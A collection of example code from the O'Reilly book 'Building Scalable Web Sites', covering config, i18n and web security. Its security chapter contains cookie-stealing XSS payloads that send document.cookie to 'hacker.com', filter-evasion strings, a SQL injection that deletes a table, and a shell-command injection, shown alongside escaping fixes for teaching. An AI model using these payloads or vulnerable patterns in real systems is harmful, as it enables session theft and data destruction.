Initial commit

## Example files for the title:  

# Building Scalable Web Sites, by Cal Henderson

[![Building Scalable Web Sites, by Cal Henderson](http://akamaicovers.oreilly.com/images/9780596102357/cat.gif)](https://www.safaribooksonline.com/library/view/title/0596102356//)

The following applies to example files from material published by O’Reilly Media, Inc. Content from other publishers may include different rules of usage. Please refer to any additional usage rights explained in the actual example files or refer to the publisher’s website.

O'Reilly books are here to help you get your job done. In general, you may use the code in O'Reilly books in your programs and documentation. You do not need to contact us for permission unless you're reproducing a significant portion of the code. For example, writing a program that uses several chunks of code from our books does not require permission. Answering a question by citing our books and quoting example code does not require permission. On the other hand, selling or distributing a CD-ROM of examples from O'Reilly books does require permission. Incorporating a significant amount of example code from our books into your product's documentation does require permission.

We appreciate, but do not require, attribution. An attribution usually includes the title, author, publisher, and ISBN.

If you think your use of code examples falls outside fair use or the permission given here, feel free to contact us at <permissions@oreilly.com>.

Please note that the examples are not production code and have not been carefully testing. They are provided "as-is" and come with no warranty of any kind.

chapter: Web Application Architecture

==================

<---------- sanity ----------> OOP

====================================

$result = db_query('my_cluster', 'SELECT * FROM Frobs;')

==================

 No newline at end of file

chapter: Development Environments

==================

Example: Manual merge process

<<<<<<< library.php

function my_function($a, $b){

=======

function my_function_2($b, $a){

>>>>>>> 1.3

====================================

Example: Annotation log

413 cal      1.77  if (tags_delete_tag($HTTP_GET_VARS[deletetag])){

414                

415 cal      1.42      $photo_url = account_photo_url($photo_row);

416                

417 asc      1.74      if ($context_ok) {

418                        $photo_url .= "in/" . $current_context['uid'];

419                    }

420

421 cal      1.42      header("location: $photo_url?removedtag=1");

422 cal      1.37      exit;

423 eric     1.88  }

====================================

Example: config.php

<?php

      #

      # first come global settings

      #

      $config['maximum_user_frobs'] = 2;

      ...

      #

      # and then dev specific settings

      #

      $config['database_hostname'] = 'dev-db';

?>

====================================

Example: config_production.php

<?php

      #

      # production specific settings

      #

      $config['database_hostname'] = 'prod-db';

?>

====================================

Example: merged config.php

<?php

      #

      # first come global settings

      #

      $config['maximum_user_frobs'] = 2;

      ...

      #

      # and then dev specific settings

      #

      $config['database_hostname'] = 'dev-db';

?>

<?php

      #

      # production specific settings

      #

      $config['database_hostname'] = 'prod-db';

?>

====================================

Example: flickr.com server deploy status file

Server: www14

Deployed: 19:41, 31/8/2005

CVS Tag: deploy_2005_8_31_19_41

==================

 No newline at end of file

chapter: i18n, L10n, and Unicode

==================

    printf("Hello %s!", $username);

====================================

    printf(_("Hello %s!"), $username);

====================================

Example: my_app.fr.po

msgid "Hello %s!"

msgstr "Bonjour %s!"

====================================

Example: my_app.ja.po

msgid "Hello %s!"

msgstr "こ

                     ん

                     に

                     さ

                     け %s!"

====================================

Content-Type: text/html; charset=utf-8

====================================

AddCharset UTF-8 .php

====================================

header("Content-Type: text/html; charset=utf-8");

====================================

<meta http-equiv="Content-Type" content=

"text/html; charset=UTF-8">

====================================

header("Content-Type: text/xml; charset=utf-8");

====================================

<?xml version="1.0" encoding="utf-8"?>

====================================

SELECT SUBSTRING(name, 0, 1) FROM UserNames;

====================================

<?php

 $rows = db_fetch_all("SELECT name FROM UserNames;");

foreach($rows as $k => $v){

          $rows[$k]['name'] = mb_substr($v['name'], 0, 1);

  }

>

====================================

Content-Type: text/plain; charset=utf-8

====================================

=?utf-8?Q?hello_=E2=98=BA?= 

=?charset?encoding?encoded-text?=

====================================

function email_escape($text){

        $text = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x", ord(StripSlashes("

       \\1")))', $text);$text = str_replace(' ', '_', $text);

     return "=?utf-8?Q?$text?=";

}

====================================

function email_escape($text){

      if (preg_match('/[^a-z ]/i', $text)){

          $text = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",

       ord(StripSlashes("\\1")))', $text);$text = str_replace(' ', '_', $text);

         return "=?utf-8?Q?$text?=";

       }

       return $text;

}

====================================

function email_send($to_name, $to_email, $subject, $message, $from_name,

$from_email){

     $from_name = email_escape($from_name);

       $to_name   = email_escape($to_name);

       $headers  = "To: \"$to_name\" <$to_email>\r\n";

       $headers .= "From: \"$from_name\" <$from_email>\r\n";

     $headers .= "Reply-To: $from_email\r\n";

     $headers .= "Content-Type: text/plain; charset=utf-8";

       $subject = email_escape($subject);

       mail($to_email, $subject, $message, $headers);

}

====================================

function escape_utf8(data) {

        if (data == '' || data == null){

               return '';

        }

       data = data.toString();

       var buffer = '';

       for(var i=0; i<data.length; i++){

               var c = data.charCodeAt(i);

               var bs = new Array();

              if (c > 0x10000){

                       // 4 bytes

                       bs[0] = 0xF0 | ((c & 0x1C0000) >>> 18);

                       bs[1] = 0x80 | ((c & 0x3F000) >>> 12);

                       bs[2] = 0x80 | ((c & 0xFC0) >>> 6);

                   bs[3] = 0x80 | (c & 0x3F);

               }else if (c > 0x800){

                        // 3 bytes

                        bs[0] = 0xE0 | ((c & 0xF000) >>> 12);

                        bs[1] = 0x80 | ((c & 0xFC0) >>> 6);

                       bs[2] = 0x80 | (c & 0x3F);

             }else if (c > 0x80){

                      // 2 bytes

                       bs[0] = 0xC0 | ((c & 0x7C0) >>> 6);

                      bs[1] = 0x80 | (c & 0x3F);

               }else{

                       // 1 byte

                    bs[0] = c;

              }

             for(var j=0; j<bs.length; j++){

                      var b = bs[j];

                       var hex = nibble_to_hex((b & 0xF0) >>> 4) 

                      + nibble_to_hex(b &0x0F);buffer += '%'+hex;

              }

    }

    return buffer;

}

function nibble_to_hex(nibble){

        var chars = '0123456789ABCDEF';

        return chars.charAt(nibble);

}

==================

 No newline at end of file

chapter: Data Integrity and Security

==================

[\xC0-\xDF]([^\x80-\xBF]|$)

[\xE0-\xEF].{0,1}([^\x80-\xBF]|$)

[\xF0-\xF7].{0,2}([^\x80-\xBF]|$)

[\xF8-\xFB].{0,3}([^\x80-\xBF]|$)

[\xFC-\xFD].{0,4}([^\x80-\xBF]|$)

[\xFE-\xFE].{0,5}([^\x80-\xBF]|$)

====================================

[\x00-\x7F][\x80-\xBF]

[\xC0-\xDF].[\x80-\xBF]

[\xE0-\xEF]..[\x80-\xBF]

[\xF0-\xF7]...[\x80-\xBF]

[\xF8-\xFB]....[\x80-\xBF]

[\xFC-\xFD].....[\x80-\xBF]

[\xFE-\xFE]......[\x80-\xBF]

====================================

^[\x80-\xBF]

====================================

function is_valid_utf8(&$input){

        $rx = '[\xC0-\xDF]([^\x80-\xBF]|$)';

        $rx .= '|[\xE0-\xEF].{0,1}([^\x80-\xBF]|$)';

        $rx .= '|[\xF0-\xF7].{0,2}([^\x80-\xBF]|$)';

        $rx .= '|[\xF8-\xFB].{0,3}([^\x80-\xBF]|$)';

        $rx .= '|[\xFC-\xFD].{0,4}([^\x80-\xBF]|$)';

        $rx .= '|[\xFE-\xFE].{0,5}([^\x80-\xBF]|$)';

        $rx .= '|[\x00-\x7F][\x80-\xBF]';

        $rx .= '|[\xC0-\xDF].[\x80-\xBF]';

        $rx .= '|[\xE0-\xEF]..[\x80-\xBF]';

        $rx .= '|[\xF0-\xF7]...[\x80-\xBF]';

        $rx .= '|[\xF8-\xFB]....[\x80-\xBF]';

        $rx .= '|[\xFC-\xFD].....[\x80-\xBF]';

        $rx .= '|[\xFE-\xFE]......[\x80-\xBF]';

        $rx .= '|^[\x80-\xBF]';

        return preg_match("!$rx!", $input) ? 0 : 1;

}

====================================

function ensure_input_is_valid_utf8(&$input){

        if (!is_valid_utf8($input)){

                $input = utf8_encode($input);

        }

}

====================================

[calh@admin1 ~] $ php -q utf8_bench.php

Trying 1000 loops of 1024 bytes ... done

RegEx: 0.655966 secs (1524.490 per/sec)

====================================

function is_valid_utf8_iconv(&$str){

  $out = iconv("UTF-8", "UTF-8", $str);

  return ($out == $str) ? 1 : 0;

}

====================================

[calh@admin1 ~] $ php -q utf8_bench_2.php

Trying 1000 loops of 1024 bytes ... done

RegEx: 0.655966 secs ( 1524.490 per/sec)

iconv: 0.028700 secs (34843.068 per/sec)

====================================

function is_valid_utf8_statemachine(&$input){

        $more = 0;

        $len = strlen($input);

        for($i=0; $i<$len; $i++){

                $c = ord($input{$i});

                if ($c <= 0x7F){

                         if ($more > 0){ return 0; }

                 }elseif ($c <= 0xBF){

                         if ($more == 0){ return 0; }

                         $more--;

                 }elseif ($c <= 0xDF){

                         if ($more > 0){ return 0; }

                         $more = 1;

                 }elseif ($c <= 0xEF){

                         if ($more > 0){ return 0; }

                         $more = 2;

                 }elseif ($c <= 0xF7){

                         if ($more > 0){ return 0; }

                         $more = 2;

                 }elseif ($c <= 0xFB){

                         if ($more > 0){ return 0; }

                         $more = 3;

                 }elseif ($c <= 0xFD){

                         if ($more > 0){ return 0; }

                         $more = 4;

                 }elseif ($c <= 0xFE){

                         if ($more > 0){ return 0; }

                         $more = 5;

                 }else{

                         if ($more > 0){ return 0; }

                         $more = 6;

                 }

       }

       return ($more == 0) ? 1 : 0;

}

====================================

[calh@admin1 ~] $ php -q utf8_bench_3.php

Trying 1000 loops of 1024 bytes ... done

RegEx: 0.655966 secs (1524.490 per/sec)

iconv: 0.028700 secs (34843.068 per/sec)

State: 2.253097 secs ( 443.834 per/sec)

====================================

$data = preg_replace('!\p{C}!u', '', $data);

====================================

$input = preg_replace('!\r\n?!', '\n', $input);

====================================

<user username="foo bar" />

====================================

<user username="foo

bar" />

====================================

hello world

<style>

body { display: none !important; }

</style>

====================================

hello world

<script>

location.href = 'http://hacker.com/?cookies='+document.cookie;

</style>

====================================

<b style="display: block; 

        position: absolute; 

        top: 0px; 

        left: 0px; 

        width: 100%; 

        height: 100%; 

        background-color: #ffffff;">

                hello world</b>

<b onmouseover="location.href = 'http://hacker.com/?cookies='+

        document.cookie;">hello world</b>

====================================

$whitelist = array(

        'a' => array('href', 'target', 'title'),

        'b' => array(),

        'img' => array('src', 'width', 'height', 'alt'),

);

====================================

<b>hello world

</div></div></div></div>hello world

====================================

bad: <b><i>hello world</b></i>

good: <b><i>hello world</i></b>

====================================

http://myapp.com/profile.php?id=11

...

<p>Take a look at <a href="/photos.php?id=11">Cal's Photos</a>.</p>

...

====================================

<p>Take a look at <a href="/photos.php?id=<?=$_GET[id]?>"><?=$user[username]?>'s

Photos</a>.</p>

<p>Take a look at <a href="/photos.php?id={$smarty.get.id}">{$user.username}'s

Photos</a>.</p>

====================================

http://myapp.com/profile.php?id="><script>alert('hello');</script><

====================================

<form action="<?=$_SERVER['PHP_SELF']?>">

====================================

http://myapp.com/foo.php/"><script>alert('hello');</script><

====================================

<p>Take a look at <a href="/photos.php?id=<?=HtmlSpecialChars($_GET[id])?>"><?=HtmlSpecialChars($user[username])?>'s

Photos</a>.</p>

<p>Take a look at <a href="/photos.php?id={$smarty.get.id|escape}">{$user.username|escape}'s

Photos</a>.</p>

====================================

<input type="hidden" name="id" value=

"<?=$_GET[id]?>" />

====================================

function filter_html($input){

        return preg_replace_callback('!</?([a-z0-9]+)[^<>]*>!i', 'filter_html_tag',

        $input);

}

function filter_html_tag($matches){

        $allowed = array('a', 'b', 'img');

        if (in_array(StrToLower($matches[1]), $allowed)){

                return $matches[0];

        }

        return '';

}

====================================

 <script<script>> 

 <<script>script<script>> 

 <scr<!-- foo -->ipt> 

====================================

$data = preg_replace("/>>+/", ">", $data);

$data = preg_replace("/<<+/", "<", $data);

$data = preg_replace("/^>/", "", $data);

$data = preg_replace("/<([^>]*?)(?=<|$)/", "<$1>", $data);

$data = preg_replace("/(^|>)([^<]*?)(?=>)/", "$1<$2", $data);

====================================

$stack = array();

...match tags, calling match_start and match_end for each tag...

function match_start($tag_name){

        # we're starting a new tag - place it on the stack

        $stack[] = $tag_name;

}

function match_end($tag_name){

        # we're ending a tag - find it on the stack

        # we need to return the HTML to replace the end tag with if any

        $ret = '';

        while(count($stack)){

                $tag = array_pop($stack);

                $ret .= "</$tag>";

                if ($tag == $tag_name){

                        return $ret;

                }

        }

        # we removed everything on the stack and

        # didn't find an opening version of $tag_name

        # so we'll just discard it

        return $ret;

}

====================================

<!-- foo > bar -->

====================================

$data = preg_replace("/<!--(.*?)-->/s", "", $data);

$data = preg_replace_callback("/<![CDATA[(.*?)]]>/s", 'escape_cdata_section', $data);

function escape_cdata_section($matches){

        return HtmlSpecialChars($matches[1]);

}

====================================

 <a href="javascript:foo"> 

 <img src="javascript:foo"> 

====================================

 protocol ":" protocol-dependant-address 

====================================

mailto:cal@iamcal.com

http://iamcal.com/

ftp://iamcal.com/

javascript:alert('hello world');

about:blank

====================================

mailto

http

https

ftp

====================================

<a href="java script:foo">

<a href="java{\t}script:foo">

<a href="java{\n}script:foo">

<a href="java{\0}script:foo">

<a href=" javascript:foo">

<a href="JaVaScRiPt:foo">

====================================

<a href="http:foo">

<a href="http{\n}:foo">

<a href=" http:foo">

<a href="http :foo">

<a href="HTTP:foo">

====================================

<a href="&#106;&#97;&#118;&#97; &#115;&#99;&#114;&#105;&#112;&#116;&#58;foo">

====================================

<a href="&#106&#97&#118&#97 &#115&#99&#114&#105&#112&#116&#58;foo">

====================================

<a href="&#0000106;&#0000097; &#0000118;&#0000097;&#0000115;&#0000099; &#0000114;&#0000105; &#0000112;&#0000116; &#0000058;foo">

====================================

<a href="&#x6A;&#x61;&#x76; &#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A; foo">

====================================

<a href="%6A%61%76%61%73%63%72 %69%70%74%3Afoo">

====================================

# create a temporary file for request data

$filename = "/tmp/app_data_$_POST[id].tmp";

system("touch $filename");

====================================

mysql_query("SELECT * FROM Frobs WHERE id=$HTTP_GET_VARS[id]");

====================================

page.php?id=1;DELETE+FROM+Frobs;

====================================

SELECT * FROM Frobs WHERE id=1; DELETE FROM Frobs;

====================================

GRANT SELECT ON *.* TO "foo"@"%" IDENTIFIED BY "bar";

FLUSH PRIVILEGES;

====================================

GRANT SELECT, INSERT, UPDATE, DELETE ON MyApp.* TO "www-rw"@"10.0.0.%"

IDENTIFIED BY "password_1";

GRANT SELECT ON MyApp.* TO "www-r"@"10.0.0.%" IDENTIFIED BY "password_2";

FLUSH PRIVILEGES;

====================================

DELETE FROM Frobs;

====================================

function db_escape_str($data){

        return "'".AddSlashes($data)."'";

}

 function db_escape_int($data){

         return intval($data);

}

====================================

function  db_escape_str_like($string){

        return str_replace(array('%','_'), array('\\%','\\_'), $string);

}

function  db_escape_str_rlike($string){

        return preg_replace("/([().\[\]*^\$])/", '\\\$1', $string);

}

====================================

$foo = db_escape_str_like($_POST[widget]);

$sql = "SELECT * FROM Frobs WHERE widget LIKE '%$foo%'";

====================================

db_insert('table_name', array(

    'field_1' => db_escape_str($value_1),

    'field_2' => db_escape_str($value_2),

    'field_3' => db_escape_int($value_3),

));

====================================

if ($dbst = mysqli_prepare($dbh, "SELECT id FROM Frobs WHERE frob_type=?")) {

        mysqli_stmt_bind_param($dbst, "s", $_GET[frob_type]);

        mysqli_stmt_execute($dbst);

        mysqli_stmt_store_result($dbst);

        mysqli_stmt_bind_result($dbst, $id);

        mysqli_stmt_fetch($dbst);

        mysqli_stmt_close($dbst);

        echo "Id was $id!";

} 

====================================

function db_query_prepare($dbh, $sql, $args){

  $dbst = mysqli_prepare($dbh, $sql);

  if (!$dbst){ return 0; }

  foreach($args as $arg)

    mysqli_stmt_bind_param($dbst, "s", $arg);

  }

  mysqli_stmt_execute($dbst);

  mysqli_stmt_store_result($dbst);

  return $dbst;

}

function db_fetch_array(&$dbst){

  $data = mysqli_stmt_result_metadata($dbst);

  $fields = array();

  $out = array();

  $fields[0] = &$dbst;

  $count = 1;

  while ($field = mysqli_fetch_field($data)) {

    $fields[$count] = &$out[$field->name];

    $count++;

  }

  call_user_func_array(mysqli_stmt_bind_result, $fields);